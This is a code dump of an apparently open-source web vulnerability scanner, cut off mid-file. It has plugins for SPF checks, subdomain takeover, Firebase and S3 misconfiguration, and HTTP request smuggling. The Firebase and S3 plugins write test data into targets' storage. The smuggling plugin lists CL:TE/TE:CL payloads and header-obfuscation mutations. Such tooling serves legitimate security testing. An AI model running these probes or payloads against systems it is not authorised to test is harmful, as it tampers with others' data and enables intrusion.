["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,706 | alex14324/Eagel | refs/heads/main | /plugins/spf.py | from utils.status import *
from .helper import Plugin,utils
class SPF(Plugin):
def __init__(self):
self.name = "SPF Record"
self.enable = True
self.description = ""
def presquites(self, host):
return True
def main(self,host):
request = utils.requests.post('http://spf.myisp.ch/', data= {
'host': utils.uri(host)
})
if "No SPF records found." in request.text:
return Result(
status = SUCCESS,
msg = "Target as no SPF Record",
request = None,
response = None
)
return Result(FAILED,None,None,None) | {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,707 | alex14324/Eagel | refs/heads/main | /plugins/firebase.py | from utils.status import *
from .helper import Plugin,utils
from urllib.parse import urlparse
import tldextract
class FireBase(Plugin):
def __init__(self):
self.name = "Firebase"
self.enable = True
self.description = ""
def presquites(self, host):
return True
def main(self,host):
mutations = [
host,
tldextract.extract(host).domain,
tldextract.extract(host).domain + "-dev",
tldextract.extract(host).domain + "-staging",
tldextract.extract(host).domain + "-test",
tldextract.extract(host).domain + "-qa",
tldextract.extract(host).domain + "dev",
tldextract.extract(host).domain + "staging",
tldextract.extract(host).domain + "test",
tldextract.extract(host).domain + "qa",
]
for mutated in mutations:
firebase = "https://%s.firebaseio.com" % mutated
request_read = utils.requests.get(firebase + "/.json")
request_write = utils.requests.put(firebase + "/firebase/security.json",json={
"msg": "vulnerable"
})
if request_read.status_code == 200 and request_write.status_code == 200:
return Result(
status = SUCCESS,
msg = "%s has read-write enabled" % firebase,
request = utils.dump_request(request_read),
response = utils.dump_response(request_read)
)
if request_read.status_code == 200 and request_write.status_code != 200:
return Result(
status = SUCCESS,
msg = "%s has read enabled" % firebase,
request = utils.dump_request(request_read),
response = utils.dump_response(request_read)
)
if request_read.status_code != 200 and request_write.status_code == 200:
return Result(
status = SUCCESS,
msg = "%s has write enabled" % firebase,
request = utils.dump_request(request_write),
response = utils.dump_response(request_write)
)
return Result(FAILED,None,None,None) | {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,708 | alex14324/Eagel | refs/heads/main | /utils/data.py | import zlib
import base64
import threading
def compress(data):
if not data: return ''
data = zlib.compress(data,9)
return base64.b64encode(data).decode('utf8')
def decompress(data):
if not data: return ''
data = base64.b64decode(data.encode('utf8'))
return zlib.decompress(data)
savelock = threading.Lock()
def savetofile(name,content):
with savelock: open(sys.path[0]+"/output/"+name ,'a+').write(content)
| {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,709 | alex14324/Eagel | refs/heads/main | /plugins/s3.py | from utils.decorators import OnErrorReturnValue
from botocore.handlers import disable_signing
from botocore.config import Config
from .helper import Plugin,utils
from botocore import UNSIGNED
from utils.status import *
from io import StringIO
import threading
import boto3
import re
class S3Security(Plugin):
def __init__(self):
self.name = "S3Security"
self.enable = True
self.description = ""
self.content = "Uploaded by S3Security Plugin"
self.path = "S3Security.txt"
self.lock = threading.Lock()
self.__cache = {}
def presquites(self, host):
if self.s3bucket(host) != False:
return True
return False
@OnErrorReturnValue(False)
def s3bucket(self,host):
if host in self.__cache.keys():
return self.__cache[host]
# Method 1
s3_url = "http://%s.s3.amazonaws.com" % host
if utils.requests.head(s3_url).status_code != 404:
with self.lock:
self.__cache.update({host:host})
return host
# Method 2
request = utils.requests.get(utils.uri(host) + "notfoundfile.scan", params={
"AWSAccessKeyId" : "AKIAI4UZT4FCOF2OTJYQ",
"Expires" : "1766972005",
"Signature" : "helloworld"
})
if request.status_code == 403 and "AWSAccessKeyId" in request.text:
bucket = re.findall("/.+/notfoundfile.scan",request.text)[0]
bucket = bucket.replace("/notfoundfile.scan","")[1::]
with self.lock:
self.__cache.update({host:bucket})
return bucket
return False
@OnErrorReturnValue(False)
def s3list(self,bucket):
s3 = boto3.client('s3', config=Config(signature_version=UNSIGNED))
return len(s3.list_objects(Bucket=bucket,MaxKeys=10))
@OnErrorReturnValue(False)
def s3upload(self,bucket):
s3 = boto3.client('s3', config=Config(signature_version=UNSIGNED))
path = "http://%s.s3.amazonaws.com/%s" % (bucket, self.path)
s3.put_object(
Bucket = bucket,
Key = self.path,
ACL = 'public-read',
Body = StringIO(self.content).read()
)
if not ( self.content in utils.requests.get(path).text ):
return False
return path
def main(self,host):
bucket = self.s3bucket(host)
upload = self.s3upload(bucket)
listing = self.s3list(bucket)
if listing and upload:
return Result(SUCCESS,"Directory listing & File Upload: %s, %s" % (bucket,upload),None,None)
if listing:
return Result(SUCCESS,"Directory listing: %s" % bucket,None,None)
if upload:
return Result(SUCCESS,"File Upload: %s" % upload,None,None)
if bucket != False:
return Result(INFO,"S3: %s is safe" % bucket,None,None)
return Result(FAILED,None,None,None) | {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,710 | alex14324/Eagel | refs/heads/main | /utils/decorators.py |
def OnErrorReturnValue(value):
def decorator(function):
def wrapper(*args, **kwargs):
try:
result = function(*args, **kwargs)
return result
except Exception as e:
#print(e)
return value
return wrapper
return decorator | {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,711 | alex14324/Eagel | refs/heads/main | /plugins/plugin.py | from utils.status import *
from .helper import Plugin
class MyPlugin(Plugin):
def __init__(self):
self.name = "Example Plugin"
self.enable = False
self.description = ""
def presquites(self, host):
return True
def main(self,host):
return Result(SUCCESS,"This is test",None,None) | {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,712 | alex14324/Eagel | refs/heads/main | /utils/db.py | import json
import os
import sys
import threading
class JsonDB():
def __init__(self,name):
if not os.path.isfile(name): open(name,"w").write("{}")
self.data = json.loads(open(name,'r').read())
self.__lock = threading.Lock()
self.__name = name
def save(self):
with self.__lock:
open(self.__name,"w").write(json.dumps(self.data))
| {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,713 | alex14324/Eagel | refs/heads/main | /plugins/subtakeover.py | from utils.status import *
from .helper import Plugin,utils
from dns import resolver
import json
import sys
class TakeOver(Plugin):
def __init__(self):
self.name = "Subdomain Takeover"
self.enable = True
self.description = ""
self.fingerprints = json.loads( open(sys.path[0]+"/plugins/files/fingerprints.json","r").read() )
def presquites(self, host):
if utils.isalive( utils.uri(host) ):
return True
return False
def vuln(self,host,html):
answers = resolver.query(host, 'CNAME')
cnames = [str(rdata.target) for rdata in answers]
for fingerprint in self.fingerprints:
service = fingerprint["service"]
cname = fingerprint["cname"]
text = fingerprint["fingerprint"]
for ocname in cnames:
for c in fingerprint["cname"]:
for t in text:
if (c in ocname) and (t in html):
return [service,ocname,t]
return None
def main(self,host):
request = utils.requests.get(utils.uri(host))
try:
result = self.vuln(host,request.text)
except:
result = None
if not result:
return Result(FAILED,None,None,None)
return Result(
status = SUCCESS,
msg = result,
request = None,
response = None
)
| {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,714 | alex14324/Eagel | refs/heads/main | /scripts/ping.py | from utils.status import *
from utils.console import args
import utils.multitask as multitask
import utils
import os
def pinger(host):
if utils.isalive(utils.uri(host)):
return Result(SUCCESS,utils.uri(host),None,None)
return Result(FAILED,utils.uri(host),None,None)
def ping(hosts,silent=None):
channel = multitask.Channel('ping')
if not silent or args.verbose > 2:
multitask.workers(pinger,channel,utils.console.args.workers, utils.console.pprint )
else:
multitask.workers(pinger,channel,utils.console.args.workers)
for host in hosts:
channel.append(host)
channel.wait()
channel.close()
if not silent:
os._exit(0) | {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,715 | alex14324/Eagel | refs/heads/main | /plugins/helper.py | import utils
class __PluginsManager(object):
def __init__(self):
self.loaded = []
def load(self,instance):
self.loaded.append(instance)
def unload(self,instance):
self.loaded.remove(instance)
class Plugin:
pass
loader = __PluginsManager() | {"/plugins/files.py": ["/utils/status.py", "/plugins/helper.py", "/utils/multitask.py"], "/plugins/cve-2019-3396.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/crlf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spider.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py", "/utils/multitask.py"], "/plugins/cve-2019-5418.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/ftp.py": ["/utils/status.py", "/plugins/helper.py", "/utils/decorators.py"], "/main.py": ["/utils/db.py", "/utils/status.py", "/utils/multitask.py", "/utils/console.py", "/utils/data.py", "/plugins/__init__.py"], "/plugins/traversal.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2018-11776.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-2725.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2019-8451.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/spf.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/firebase.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/s3.py": ["/utils/decorators.py", "/plugins/helper.py", "/utils/status.py"], "/plugins/plugin.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/subtakeover.py": ["/utils/status.py", "/plugins/helper.py"], "/scripts/ping.py": ["/utils/status.py", "/utils/console.py", "/utils/multitask.py"], "/plugins/sumggler.py": ["/plugins/helper.py", "/utils/status.py", "/utils/multitask.py", "/utils/data.py"], "/utils/urls.py": ["/utils/wrappers.py", "/utils/decorators.py"], "/utils/console.py": ["/utils/status.py"], "/plugins/cve-2012-1823.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/__init__.py": ["/plugins/helper.py"], "/plugins/cve-2019-10098.py": ["/utils/status.py", "/plugins/helper.py"], "/plugins/cve-2014-6271.py": ["/utils/status.py", "/plugins/helper.py"]} |
53,716 | alex14324/Eagel | refs/heads/main | /plugins/sumggler.py | from urllib.parse import urlparse
from base64 import b64encode
from .helper import Plugin
from utils.status import *
import utils.multitask as multitask
import utils.data as data
import threading
import socket
import utils
import json
import time
import ssl
MAX_EXCEPTION = 10
MAX_VULNERABLE = 5
t_base_headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'close',
'Content-Length': '0',
}
t_attacks_datas = [
{'name':'CL:TE1', 'Content-Length':5, 'body':'1\r\nZ\r\nQ\r\n\r\n'},
{'name':'CL:TE2', 'Content-Length':11, 'body':'1\r\nZ\r\nQ\r\n\r\n'},
{'name':'TE:CL1', 'Content-Length':5, 'body':'0\r\n\r\n'},
{'name':'TE:CL2', 'Content-Length':6, 'body':'0\r\n\r\nX'},
]
t_registered_method = [
#'tabprefix1',
#'vertprefix1',
#'underjoin1',
#'underscore2',
#'space2',
#'chunky',
#'bodysplit',
#'zdsuffix',
#'tabsuffix',
#'UPPERCASE',
#'reversevanilla',
#'spaceFF',
#'accentTE',
#'accentCH',
#'unispace',
#'connection',
'vanilla',
'dualchunk',
'badwrap',
'space1',
'badsetupLF',
'gareth1',
'spacejoin1',
'nameprefix1',
'valueprefix1',
'nospace1',
'commaCow',
'cowComma',
'contentEnc',
'linewrapped1',
'quoted',
'aposed',
'badsetupCR',
'vertwrap',
'tabwrap',
'lazygrep',
'multiCase',
'zdwrap',
'zdspam',
'revdualchunk',
'nested',
'spacefix1_0',
'spacefix1_9',
'spacefix1_11',
'spacefix1_12',
'spacefix1_13',
'spacefix1_127',
'spacefix1_160',
'spacefix1_255',
'prefix1_0',
'prefix1_9',
'prefix1_11',
'prefix1_12',
'prefix1_13',
'prefix1_127',
'prefix1_160',
'prefix1_255',
'suffix1_0',
'suffix1_9',
'suffix1_11',
'suffix1_12',
'suffix1_13',
'suffix1_127',
'suffix1_160',
'suffix1_255',
]
class SmugglerAttacks:
def update_content_length(self, msg, cl ):
return msg.replace( 'Content-Length: 0', 'Content-Length: '+str(cl) )
def underjoin1(self, msg):
msg = msg.replace( 'Transfer-Encoding', 'Transfer_Encoding' )
return msg
def underscore2(self, msg):
msg = msg.replace( 'Content-Length', 'Content_Length' )
return msg
def spacejoin1(self, msg):
msg = msg.replace( 'Transfer-Encoding', 'Transfer Encoding' )
return msg
def space1(self, msg):
msg = msg.replace( 'Transfer-Encoding', 'Transfer-Encoding ' )
return msg
def space2(self, msg):
msg = msg.replace( 'Content-Length', 'Content-Length ' )
return msg
def nameprefix1(self, msg):
msg = msg.replace( 'Transfer-Encoding', ' Transfer-Encoding' )
return msg
def valueprefix1(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding: ' )
return msg
def nospace1(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:' )
return msg
def tabprefix1(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:\t' )
return msg
def vertprefix1(self, msg):
msg = msg.replace( 'Transfer-Encoding: ', 'Transfer-Encoding:\u000B' )
